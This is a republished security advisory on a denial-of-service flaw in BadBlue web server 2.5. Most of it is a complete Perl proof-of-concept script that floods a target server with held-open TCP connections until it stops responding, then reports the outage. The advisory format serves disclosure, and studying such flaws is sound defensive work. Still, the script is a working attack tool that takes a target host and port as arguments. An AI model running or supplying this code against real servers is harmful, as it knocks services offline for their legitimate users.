|
|
|
|
| |
BadBlue "shares files directly from your own PC, using the cable /DSL/broadband/dialup connection you already paid for! BadBlue lets you run a no-hassle Web site on your own PC for free, including a domain name you can choose. Within seconds, you can transform your PC into a friendly, file sharing Web server with all the power of a real server on the Internet. Remote users can search for files, explore your shared folders, and run full-blown applications created in HTML, PHP, Perl, and so on".
The BadBlue web server does not handle many concurrent connections properly, which makes it vulnerable to a simple denial of service. |
| |
Credit:
The information has been provided by GulfTech Security.
The original article can be found at: http://www.gulftech.org/?node=research&article_id=00042-08202004
|
| |
Vulnerable Systems:
* BadBlue webserver version 2.5, possibly prior
BadBlue web server cannot handle multiple connections from the same host, and will deny all access to any users at right around twenty-four simultaneous connections. A proof of concept Perl code that will perform this is presented below. The code floods the target server with connections and keeps them open, effectively blocking all other traffic to the server.
Exploit:
#!/usr/bin/perl
##############################################################
# BadBlue v2.52 Web Server - Multiple Connections DoS POC Code
##############################################################
# BadBlue Web Server can not handle many simultaneous connects
# from the same host, and will lock up until the connects stop
##############################################################
# This Proof Of Concept Written By GulfTech Security Research
##############################################################
use Strict;
use Socket;
use IO::Socket;
my $host = $ARGV[0];
my $port = $ARGV[1];
my $stop = $ARGV[2];
my $size = 1000;
my $prot = getprotobyname('tcp');
my $slep = $ARGV[3];
printf("================================================\n");
printf(" BadBlue v2.52 Web Server Denial Of Service POC \n");
printf("================================================\n");
printf("[*] Making %d Connections To %s \n", $stop , $host);
for ($i=1; $i<$stop; $i++)
{
socket($i, PF_INET, SOCK_STREAM, $prot );
my $dest = sockaddr_in ($port, inet_aton($host));
connect($i, $dest);
}
CheckServer($host, $i, $slep, $stop);
KillThreads($stop);
printf("[*] Exploit Attempt Unsuccesful");
exit;
sub CheckServer($host, $i, $slep, $stop) {
($host, $i, $slep, $stop) = @_;
$blank = "\015\012" x 2;
$request = "GET / HTTP/1.0".$blank;
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
Timeout => '10000',
Type => SOCK_STREAM,
);
print $remote $request;
unless ( <$remote> )
{
printf("[*] Host %s Has Been Successfully DoS'ed\n", $host);
printf("[*] The Host Will Be Down For %d Seconds\n", $slep);
sleep($slep);
KillThreads($stop);
exit;
}
}
sub KillThreads($stop) {
$stop = @_;
printf("[*] Killing All active Connections");
for ($l=1; $l<$stop; $l++) {
shutdown($l,2)|| die("Couldn't Shut Down Socket");
$l++;
}
}
|
|
|
|
|
